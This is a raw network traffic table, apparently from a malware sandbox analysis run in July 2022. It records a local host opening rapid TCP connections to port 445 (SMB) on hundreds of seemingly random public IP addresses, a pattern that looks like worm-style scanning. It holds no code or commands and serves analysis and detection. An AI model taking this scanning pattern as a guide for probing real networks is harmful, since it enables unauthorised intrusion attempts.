Jul 20, 2022 06:09:58.689708948 CEST	445	61798	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:58.689867973 CEST	61798	445	192.168.2.6	178.159.42.160
Jul 20, 2022 06:09:58.714015007 CEST	61803	445	192.168.2.6	176.241.42.141
Jul 20, 2022 06:09:58.714152098 CEST	61802	445	192.168.2.6	37.21.160.168
Jul 20, 2022 06:09:58.719357014 CEST	445	61798	178.159.42.160	192.168.2.6
Jul 20, 2022 06:09:58.774195910 CEST	445	61799	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:58.774385929 CEST	61799	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:58.774467945 CEST	61799	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:58.775948048 CEST	61804	445	192.168.2.6	178.159.42.161
Jul 20, 2022 06:09:58.807162046 CEST	445	61804	178.159.42.161	192.168.2.6
Jul 20, 2022 06:09:58.822370052 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:58.853684902 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:09:58.948975086 CEST	445	61799	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:58.949157000 CEST	61799	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:59.120954037 CEST	445	61799	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:59.121175051 CEST	61799	445	192.168.2.6	107.186.37.30
Jul 20, 2022 06:09:59.214092970 CEST	61819	445	192.168.2.6	182.31.59.242
Jul 20, 2022 06:09:59.214174032 CEST	61821	445	192.168.2.6	146.102.74.47
Jul 20, 2022 06:09:59.214365005 CEST	61823	445	192.168.2.6	35.129.140.173
Jul 20, 2022 06:09:59.292370081 CEST	445	61799	107.186.37.30	192.168.2.6
Jul 20, 2022 06:09:59.322482109 CEST	61804	445	192.168.2.6	178.159.42.161
Jul 20, 2022 06:09:59.339267015 CEST	61830	445	192.168.2.6	69.123.102.99
Jul 20, 2022 06:09:59.339422941 CEST	61833	445	192.168.2.6	56.164.163.250
Jul 20, 2022 06:09:59.339596987 CEST	61836	445	192.168.2.6	107.146.205.193
Jul 20, 2022 06:09:59.339669943 CEST	61837	445	192.168.2.6	142.243.69.218
Jul 20, 2022 06:09:59.339807987 CEST	61839	445	192.168.2.6	190.181.18.244
Jul 20, 2022 06:09:59.339936972 CEST	61841	445	192.168.2.6	143.109.197.211
Jul 20, 2022 06:09:59.340203047 CEST	61845	445	192.168.2.6	223.132.248.71
Jul 20, 2022 06:09:59.340467930 CEST	61850	445	192.168.2.6	192.29.227.157
Jul 20, 2022 06:09:59.340703011 CEST	61854	445	192.168.2.6	131.124.120.142
Jul 20, 2022 06:09:59.340959072 CEST	61858	445	192.168.2.6	137.135.108.252
Jul 20, 2022 06:09:59.341242075 CEST	61864	445	192.168.2.6	78.105.6.62
Jul 20, 2022 06:09:59.341284037 CEST	61865	445	192.168.2.6	215.19.43.125
Jul 20, 2022 06:09:59.341825008 CEST	61875	445	192.168.2.6	123.11.180.23
Jul 20, 2022 06:09:59.342220068 CEST	61882	445	192.168.2.6	128.179.144.114
Jul 20, 2022 06:09:59.342464924 CEST	61887	445	192.168.2.6	215.107.113.27
Jul 20, 2022 06:09:59.342542887 CEST	61888	445	192.168.2.6	116.207.167.134
Jul 20, 2022 06:09:59.342783928 CEST	61889	445	192.168.2.6	32.112.252.159
Jul 20, 2022 06:09:59.354223013 CEST	61908	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.356385946 CEST	445	61804	178.159.42.161	192.168.2.6
Jul 20, 2022 06:09:59.527431965 CEST	445	61908	107.186.37.31	192.168.2.6
Jul 20, 2022 06:09:59.527568102 CEST	61908	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.527781963 CEST	61908	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.528167009 CEST	61910	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.702368975 CEST	445	61908	107.186.37.31	192.168.2.6
Jul 20, 2022 06:09:59.702395916 CEST	445	61908	107.186.37.31	192.168.2.6
Jul 20, 2022 06:09:59.702584982 CEST	445	61910	107.186.37.31	192.168.2.6
Jul 20, 2022 06:09:59.702702045 CEST	61910	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.702820063 CEST	61910	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.745088100 CEST	61911	445	192.168.2.6	51.83.204.14
Jul 20, 2022 06:09:59.776910067 CEST	61913	445	192.168.2.6	176.241.42.142
Jul 20, 2022 06:09:59.776930094 CEST	61914	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.839169979 CEST	61915	445	192.168.2.6	178.159.42.162
Jul 20, 2022 06:09:59.871417046 CEST	445	61915	178.159.42.162	192.168.2.6
Jul 20, 2022 06:09:59.875526905 CEST	445	61910	107.186.37.31	192.168.2.6
Jul 20, 2022 06:09:59.875828981 CEST	61910	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:09:59.880063057 CEST	445	61914	37.21.160.169	192.168.2.6
Jul 20, 2022 06:09:59.880300045 CEST	61914	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.880369902 CEST	61914	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.881145954 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.933062077 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:09:59.979130030 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:09:59.979296923 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.979464054 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:09:59.979788065 CEST	445	61914	37.21.160.169	192.168.2.6
Jul 20, 2022 06:09:59.989506960 CEST	445	61914	37.21.160.169	192.168.2.6
Jul 20, 2022 06:09:59.989650965 CEST	61914	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.025572062 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:00.047486067 CEST	445	61910	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:00.047702074 CEST	61910	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:00.056941986 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:00.058280945 CEST	445	61917	163.191.136.2	192.168.2.6
Jul 20, 2022 06:10:00.058446884 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:00.058490038 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:00.076839924 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.086457014 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.086699009 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.187869072 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.188086033 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.219441891 CEST	445	61910	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:00.287698984 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.287880898 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.339680910 CEST	61929	445	192.168.2.6	17.78.213.76
Jul 20, 2022 06:10:00.339988947 CEST	61933	445	192.168.2.6	72.102.224.219
Jul 20, 2022 06:10:00.340044022 CEST	61932	445	192.168.2.6	119.192.136.6
Jul 20, 2022 06:10:00.384124041 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.384305954 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.385103941 CEST	61915	445	192.168.2.6	178.159.42.162
Jul 20, 2022 06:10:00.412710905 CEST	445	61915	178.159.42.162	192.168.2.6
Jul 20, 2022 06:10:00.431941986 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:00.463675022 CEST	61943	445	192.168.2.6	119.117.18.252
Jul 20, 2022 06:10:00.463891029 CEST	61944	445	192.168.2.6	172.59.136.57
Jul 20, 2022 06:10:00.464298964 CEST	61951	445	192.168.2.6	24.108.100.59
Jul 20, 2022 06:10:00.464471102 CEST	61954	445	192.168.2.6	123.109.251.58
Jul 20, 2022 06:10:00.464795113 CEST	61960	445	192.168.2.6	170.54.10.250
Jul 20, 2022 06:10:00.464992046 CEST	61964	445	192.168.2.6	89.80.96.162
Jul 20, 2022 06:10:00.465198994 CEST	61966	445	192.168.2.6	110.153.55.81
Jul 20, 2022 06:10:00.465336084 CEST	61968	445	192.168.2.6	138.192.59.72
Jul 20, 2022 06:10:00.465392113 CEST	61970	445	192.168.2.6	51.85.63.117
Jul 20, 2022 06:10:00.465536118 CEST	61971	445	192.168.2.6	38.245.0.68
Jul 20, 2022 06:10:00.465693951 CEST	61974	445	192.168.2.6	33.122.183.163
Jul 20, 2022 06:10:00.466011047 CEST	61979	445	192.168.2.6	162.236.177.6
Jul 20, 2022 06:10:00.466125965 CEST	61982	445	192.168.2.6	196.101.228.191
Jul 20, 2022 06:10:00.466263056 CEST	61984	445	192.168.2.6	213.71.54.223
Jul 20, 2022 06:10:00.466379881 CEST	61985	445	192.168.2.6	13.162.67.215
Jul 20, 2022 06:10:00.467791080 CEST	62011	445	192.168.2.6	183.154.0.239
Jul 20, 2022 06:10:00.468236923 CEST	62019	445	192.168.2.6	4.27.102.84
Jul 20, 2022 06:10:00.478832960 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:10:00.484189034 CEST	445	61916	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:00.484369040 CEST	61916	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:00.713193893 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:10:00.807468891 CEST	62022	445	192.168.2.6	51.83.204.15
Jul 20, 2022 06:10:00.853847027 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:00.854408026 CEST	62024	445	192.168.2.6	176.241.42.143
Jul 20, 2022 06:10:00.909707069 CEST	445	62024	176.241.42.143	192.168.2.6
Jul 20, 2022 06:10:00.916655064 CEST	62025	445	192.168.2.6	178.159.42.163
Jul 20, 2022 06:10:01.416384935 CEST	62024	445	192.168.2.6	176.241.42.143
Jul 20, 2022 06:10:01.463797092 CEST	62039	445	192.168.2.6	106.18.145.76
Jul 20, 2022 06:10:01.463913918 CEST	62041	445	192.168.2.6	211.41.38.94
Jul 20, 2022 06:10:01.463963985 CEST	62042	445	192.168.2.6	194.216.249.213
Jul 20, 2022 06:10:01.468565941 CEST	445	62024	176.241.42.143	192.168.2.6
Jul 20, 2022 06:10:01.589366913 CEST	62065	445	192.168.2.6	18.12.60.12
Jul 20, 2022 06:10:01.589514971 CEST	62068	445	192.168.2.6	80.126.229.10
Jul 20, 2022 06:10:01.589688063 CEST	62070	445	192.168.2.6	21.239.53.56
Jul 20, 2022 06:10:01.589740038 CEST	62072	445	192.168.2.6	181.183.68.103
Jul 20, 2022 06:10:01.590102911 CEST	62078	445	192.168.2.6	57.205.9.162
Jul 20, 2022 06:10:01.590221882 CEST	62080	445	192.168.2.6	139.43.95.192
Jul 20, 2022 06:10:01.590250969 CEST	62081	445	192.168.2.6	172.51.231.148
Jul 20, 2022 06:10:01.590385914 CEST	62083	445	192.168.2.6	154.144.123.45
Jul 20, 2022 06:10:01.590490103 CEST	62084	445	192.168.2.6	164.225.203.196
Jul 20, 2022 06:10:01.590676069 CEST	62087	445	192.168.2.6	63.251.86.92
Jul 20, 2022 06:10:01.590900898 CEST	62092	445	192.168.2.6	126.36.133.208
Jul 20, 2022 06:10:01.591114044 CEST	62096	445	192.168.2.6	186.245.176.183
Jul 20, 2022 06:10:01.591289997 CEST	62099	445	192.168.2.6	133.170.89.61
Jul 20, 2022 06:10:01.591834068 CEST	62106	445	192.168.2.6	87.33.127.199
Jul 20, 2022 06:10:01.591991901 CEST	62109	445	192.168.2.6	108.147.202.33
Jul 20, 2022 06:10:01.592380047 CEST	62115	445	192.168.2.6	166.124.217.51
Jul 20, 2022 06:10:01.592638016 CEST	62121	445	192.168.2.6	212.56.192.32
Jul 20, 2022 06:10:01.603852987 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:01.885674000 CEST	62131	445	192.168.2.6	51.83.204.16
Jul 20, 2022 06:10:01.916687012 CEST	62132	445	192.168.2.6	176.241.42.144
Jul 20, 2022 06:10:01.994904041 CEST	62134	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.024626970 CEST	445	62134	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:02.024760008 CEST	62134	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.024857998 CEST	62134	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.025556087 CEST	62135	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.053939104 CEST	445	62134	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:02.053975105 CEST	445	62134	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:02.054071903 CEST	445	62135	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:02.054193020 CEST	62135	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.054217100 CEST	62135	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:02.088762045 CEST	445	62135	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:02.432043076 CEST	61691	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:02.463359118 CEST	61694	445	192.168.2.6	134.220.131.5
Jul 20, 2022 06:10:02.590913057 CEST	62153	445	192.168.2.6	116.168.176.88
Jul 20, 2022 06:10:02.590917110 CEST	62154	445	192.168.2.6	211.15.199.114
Jul 20, 2022 06:10:02.699152946 CEST	62162	445	192.168.2.6	97.196.171.138
Jul 20, 2022 06:10:02.699809074 CEST	62175	445	192.168.2.6	46.95.4.175
Jul 20, 2022 06:10:02.699906111 CEST	62177	445	192.168.2.6	203.219.116.25
Jul 20, 2022 06:10:02.700912952 CEST	62195	445	192.168.2.6	200.209.113.85
Jul 20, 2022 06:10:02.700962067 CEST	62196	445	192.168.2.6	64.203.106.226
Jul 20, 2022 06:10:02.701184988 CEST	62200	445	192.168.2.6	197.65.111.182
Jul 20, 2022 06:10:02.701489925 CEST	62206	445	192.168.2.6	24.32.92.250
Jul 20, 2022 06:10:02.701756954 CEST	62210	445	192.168.2.6	29.218.137.3
Jul 20, 2022 06:10:02.702105999 CEST	62214	445	192.168.2.6	18.39.3.182
Jul 20, 2022 06:10:02.702506065 CEST	62221	445	192.168.2.6	28.238.49.174
Jul 20, 2022 06:10:02.702641964 CEST	62224	445	192.168.2.6	1.101.66.93
Jul 20, 2022 06:10:02.703016043 CEST	62232	445	192.168.2.6	35.15.137.7
Jul 20, 2022 06:10:02.703186989 CEST	62235	445	192.168.2.6	20.32.122.191
Jul 20, 2022 06:10:02.703193903 CEST	62234	445	192.168.2.6	128.170.56.11
Jul 20, 2022 06:10:02.703321934 CEST	62236	445	192.168.2.6	13.121.17.174
Jul 20, 2022 06:10:02.703490019 CEST	62239	445	192.168.2.6	170.71.102.215
Jul 20, 2022 06:10:02.703494072 CEST	62238	445	192.168.2.6	214.209.128.217
Jul 20, 2022 06:10:02.948551893 CEST	62241	445	192.168.2.6	51.83.204.17
Jul 20, 2022 06:10:02.980354071 CEST	62242	445	192.168.2.6	176.241.42.145
Jul 20, 2022 06:10:03.088375092 CEST	61917	445	192.168.2.6	163.191.136.2
Jul 20, 2022 06:10:03.183237076 CEST	445	61917	163.191.136.2	192.168.2.6
Jul 20, 2022 06:10:03.229593039 CEST	62244	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:03.245074034 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.375896931 CEST	445	62245	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:03.376044035 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.376194954 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.376723051 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.385627985 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.398034096 CEST	445	62244	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:03.398238897 CEST	62244	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:03.398303986 CEST	62244	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:03.483459949 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.483639002 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.483685970 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.502377033 CEST	445	62248	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:03.502482891 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.502545118 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.566539049 CEST	445	62244	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:03.566689014 CEST	62244	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:03.580158949 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.590565920 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.590693951 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.692257881 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.692411900 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.715509892 CEST	62263	445	192.168.2.6	206.92.195.250
Jul 20, 2022 06:10:03.715650082 CEST	62264	445	192.168.2.6	22.191.160.138
Jul 20, 2022 06:10:03.715761900 CEST	62266	445	192.168.2.6	113.15.213.109
Jul 20, 2022 06:10:03.736001968 CEST	445	62244	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:03.736237049 CEST	62244	445	192.168.2.6	107.186.37.31
Jul 20, 2022 06:10:03.795402050 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.795556068 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.807199001 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.823133945 CEST	62272	445	192.168.2.6	23.5.232.140
Jul 20, 2022 06:10:03.823730946 CEST	62281	445	192.168.2.6	180.64.173.107
Jul 20, 2022 06:10:03.823868036 CEST	62283	445	192.168.2.6	206.70.60.76
Jul 20, 2022 06:10:03.824580908 CEST	62296	445	192.168.2.6	85.184.160.41
Jul 20, 2022 06:10:03.825042009 CEST	62305	445	192.168.2.6	124.86.121.106
Jul 20, 2022 06:10:03.825258017 CEST	62309	445	192.168.2.6	221.6.91.24
Jul 20, 2022 06:10:03.825572014 CEST	62315	445	192.168.2.6	22.7.178.15
Jul 20, 2022 06:10:03.825683117 CEST	62317	445	192.168.2.6	109.8.52.243
Jul 20, 2022 06:10:03.825788021 CEST	62318	445	192.168.2.6	71.184.123.251
Jul 20, 2022 06:10:03.825989008 CEST	62321	445	192.168.2.6	5.9.36.170
Jul 20, 2022 06:10:03.826129913 CEST	62324	445	192.168.2.6	116.73.44.9
Jul 20, 2022 06:10:03.826271057 CEST	62325	445	192.168.2.6	84.2.153.241
Jul 20, 2022 06:10:03.826905966 CEST	62334	445	192.168.2.6	100.62.157.206
Jul 20, 2022 06:10:03.827202082 CEST	62338	445	192.168.2.6	80.46.165.100
Jul 20, 2022 06:10:03.827533007 CEST	62343	445	192.168.2.6	34.124.253.164
Jul 20, 2022 06:10:03.827955961 CEST	62349	445	192.168.2.6	98.219.183.38
Jul 20, 2022 06:10:03.828085899 CEST	62351	445	192.168.2.6	118.178.195.55
Jul 20, 2022 06:10:03.885385036 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:03.891540051 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.891967058 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:03.906204939 CEST	445	62244	107.186.37.31	192.168.2.6
Jul 20, 2022 06:10:03.948198080 CEST	62353	445	192.168.2.6	37.21.160.170
Jul 20, 2022 06:10:03.964020967 CEST	62354	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:03.991437912 CEST	445	62249	37.21.160.169	192.168.2.6
Jul 20, 2022 06:10:03.991561890 CEST	62249	445	192.168.2.6	37.21.160.169
Jul 20, 2022 06:10:04.010623932 CEST	62356	445	192.168.2.6	51.83.204.18
Jul 20, 2022 06:10:04.057974100 CEST	62357	445	192.168.2.6	176.241.42.146
Jul 20, 2022 06:10:04.106575966 CEST	445	62357	176.241.42.146	192.168.2.6
Jul 20, 2022 06:10:04.134843111 CEST	445	62354	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.135075092 CEST	62354	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.135188103 CEST	62354	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.136374950 CEST	62358	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.305196047 CEST	445	62358	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.305346966 CEST	62358	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.305421114 CEST	62358	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.305543900 CEST	445	62354	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.305567980 CEST	445	62354	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.307225943 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:04.475022078 CEST	445	62358	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.475184917 CEST	62358	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.588583946 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:04.622049093 CEST	62357	445	192.168.2.6	176.241.42.146
Jul 20, 2022 06:10:04.644197941 CEST	445	62358	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.644401073 CEST	62358	445	192.168.2.6	107.186.37.32
Jul 20, 2022 06:10:04.670919895 CEST	445	62357	176.241.42.146	192.168.2.6
Jul 20, 2022 06:10:04.776021957 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:10:04.814912081 CEST	445	62358	107.186.37.32	192.168.2.6
Jul 20, 2022 06:10:04.824013948 CEST	62377	445	192.168.2.6	113.175.55.80
Jul 20, 2022 06:10:04.824168921 CEST	62379	445	192.168.2.6	214.202.195.113
Jul 20, 2022 06:10:04.824307919 CEST	62382	445	192.168.2.6	188.172.18.88
Jul 20, 2022 06:10:04.948323965 CEST	62384	445	192.168.2.6	125.98.97.49
Jul 20, 2022 06:10:04.948712111 CEST	62385	445	192.168.2.6	140.102.1.163
Jul 20, 2022 06:10:04.949310064 CEST	62392	445	192.168.2.6	112.87.57.176
Jul 20, 2022 06:10:04.949593067 CEST	62397	445	192.168.2.6	54.242.77.98
Jul 20, 2022 06:10:04.950102091 CEST	62407	445	192.168.2.6	93.178.236.177
Jul 20, 2022 06:10:04.950313091 CEST	62410	445	192.168.2.6	53.173.120.179
Jul 20, 2022 06:10:04.950330019 CEST	62394	445	192.168.2.6	95.67.24.210
Jul 20, 2022 06:10:04.950751066 CEST	62416	445	192.168.2.6	130.238.223.49
Jul 20, 2022 06:10:04.950901031 CEST	62418	445	192.168.2.6	102.79.4.92
Jul 20, 2022 06:10:04.951039076 CEST	62420	445	192.168.2.6	34.24.172.49
Jul 20, 2022 06:10:04.951280117 CEST	62422	445	192.168.2.6	143.132.24.154
Jul 20, 2022 06:10:04.951292038 CEST	62425	445	192.168.2.6	150.137.228.69
Jul 20, 2022 06:10:04.951334953 CEST	62426	445	192.168.2.6	62.196.193.163
Jul 20, 2022 06:10:04.951730967 CEST	62434	445	192.168.2.6	51.122.139.178
Jul 20, 2022 06:10:04.952013969 CEST	62439	445	192.168.2.6	22.247.166.36
Jul 20, 2022 06:10:04.952709913 CEST	62452	445	192.168.2.6	148.169.190.140
Jul 20, 2022 06:10:04.952711105 CEST	62453	445	192.168.2.6	196.133.194.9
Jul 20, 2022 06:10:05.027122974 CEST	62465	445	192.168.2.6	37.21.160.171
Jul 20, 2022 06:10:05.048217058 CEST	445	62385	140.102.1.163	192.168.2.6
Jul 20, 2022 06:10:05.057270050 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:05.089304924 CEST	62466	445	192.168.2.6	51.83.204.19
Jul 20, 2022 06:10:05.104445934 CEST	62467	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:05.133605957 CEST	445	62467	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:05.133779049 CEST	62467	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:05.133801937 CEST	62467	445	192.168.2.6	178.159.42.164
Jul 20, 2022 06:10:05.135782003 CEST	62469	445	192.168.2.6	176.241.42.147
Jul 20, 2022 06:10:05.162556887 CEST	445	62467	178.159.42.164	192.168.2.6
Jul 20, 2022 06:10:05.214674950 CEST	62470	445	192.168.2.6	178.159.42.165
Jul 20, 2022 06:10:05.281696081 CEST	445	62382	188.172.18.88	192.168.2.6
Jul 20, 2022 06:10:05.557457924 CEST	62385	445	192.168.2.6	140.102.1.163
Jul 20, 2022 06:10:05.657058954 CEST	445	62385	140.102.1.163	192.168.2.6
Jul 20, 2022 06:10:05.791784048 CEST	62382	445	192.168.2.6	188.172.18.88
Jul 20, 2022 06:10:05.934118986 CEST	62485	445	192.168.2.6	209.115.225.195
Jul 20, 2022 06:10:05.934283018 CEST	62486	445	192.168.2.6	209.98.128.239
Jul 20, 2022 06:10:05.934575081 CEST	62488	445	192.168.2.6	17.33.78.91
Jul 20, 2022 06:10:05.994875908 CEST	61379	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:10:06.057818890 CEST	62497	445	192.168.2.6	191.200.189.37
Jul 20, 2022 06:10:06.058335066 CEST	62502	445	192.168.2.6	60.233.163.181
Jul 20, 2022 06:10:06.058625937 CEST	62505	445	192.168.2.6	26.233.225.61
Jul 20, 2022 06:10:06.058975935 CEST	62511	445	192.168.2.6	40.111.159.188
Jul 20, 2022 06:10:06.059091091 CEST	62513	445	192.168.2.6	148.29.70.135
Jul 20, 2022 06:10:06.059263945 CEST	62516	445	192.168.2.6	52.55.191.1
Jul 20, 2022 06:10:06.059293985 CEST	62517	445	192.168.2.6	62.75.44.80
Jul 20, 2022 06:10:06.059432983 CEST	62519	445	192.168.2.6	166.230.169.19
Jul 20, 2022 06:10:06.059571981 CEST	62521	445	192.168.2.6	38.163.8.77
Jul 20, 2022 06:10:06.060031891 CEST	62529	445	192.168.2.6	208.117.195.85
Jul 20, 2022 06:10:06.060292959 CEST	62535	445	192.168.2.6	129.253.68.229
Jul 20, 2022 06:10:06.060925961 CEST	62547	445	192.168.2.6	19.254.48.77
Jul 20, 2022 06:10:06.060942888 CEST	62548	445	192.168.2.6	99.26.223.192
Jul 20, 2022 06:10:06.061956882 CEST	62562	445	192.168.2.6	141.122.115.85
Jul 20, 2022 06:10:06.062083006 CEST	62565	445	192.168.2.6	74.214.190.177
Jul 20, 2022 06:10:06.062315941 CEST	62569	445	192.168.2.6	129.153.128.184
Jul 20, 2022 06:10:06.062499046 CEST	62572	445	192.168.2.6	185.249.122.26
Jul 20, 2022 06:10:06.105674982 CEST	62578	445	192.168.2.6	37.21.160.172
Jul 20, 2022 06:10:06.135513067 CEST	62245	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:06.167301893 CEST	62579	445	192.168.2.6	51.83.204.20
Jul 20, 2022 06:10:06.198755980 CEST	62580	445	192.168.2.6	176.241.42.148
Jul 20, 2022 06:10:06.212795019 CEST	445	61917	163.191.136.2	192.168.2.6
Jul 20, 2022 06:10:06.247518063 CEST	445	62580	176.241.42.148	192.168.2.6
Jul 20, 2022 06:10:06.262315035 CEST	445	62382	188.172.18.88	192.168.2.6
Jul 20, 2022 06:10:06.292643070 CEST	62582	445	192.168.2.6	178.159.42.166
Jul 20, 2022 06:10:06.503695011 CEST	445	62245	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:06.557431936 CEST	62248	445	192.168.2.6	163.191.136.3
Jul 20, 2022 06:10:06.628624916 CEST	445	62248	163.191.136.3	192.168.2.6
Jul 20, 2022 06:10:06.760596991 CEST	62580	445	192.168.2.6	176.241.42.148
Jul 20, 2022 06:10:06.809454918 CEST	445	62580	176.241.42.148	192.168.2.6
Jul 20, 2022 06:10:07.042187929 CEST	62597	445	192.168.2.6	19.169.136.133
Jul 20, 2022 06:10:07.042191982 CEST	62598	445	192.168.2.6	69.124.201.213
Jul 20, 2022 06:10:07.042366982 CEST	62600	445	192.168.2.6	143.119.61.247
Jul 20, 2022 06:10:07.167247057 CEST	62608	445	192.168.2.6	149.238.27.241
Jul 20, 2022 06:10:07.167413950 CEST	62609	445	192.168.2.6	39.6.174.29
Jul 20, 2022 06:10:07.167433023 CEST	62610	445	192.168.2.6	24.204.23.54
Jul 20, 2022 06:10:07.167582989 CEST	62611	445	192.168.2.6	103.136.100.71
Jul 20, 2022 06:10:07.168087959 CEST	62621	445	192.168.2.6	118.38.230.173
Jul 20, 2022 06:10:07.168411970 CEST	62627	445	192.168.2.6	105.222.52.172
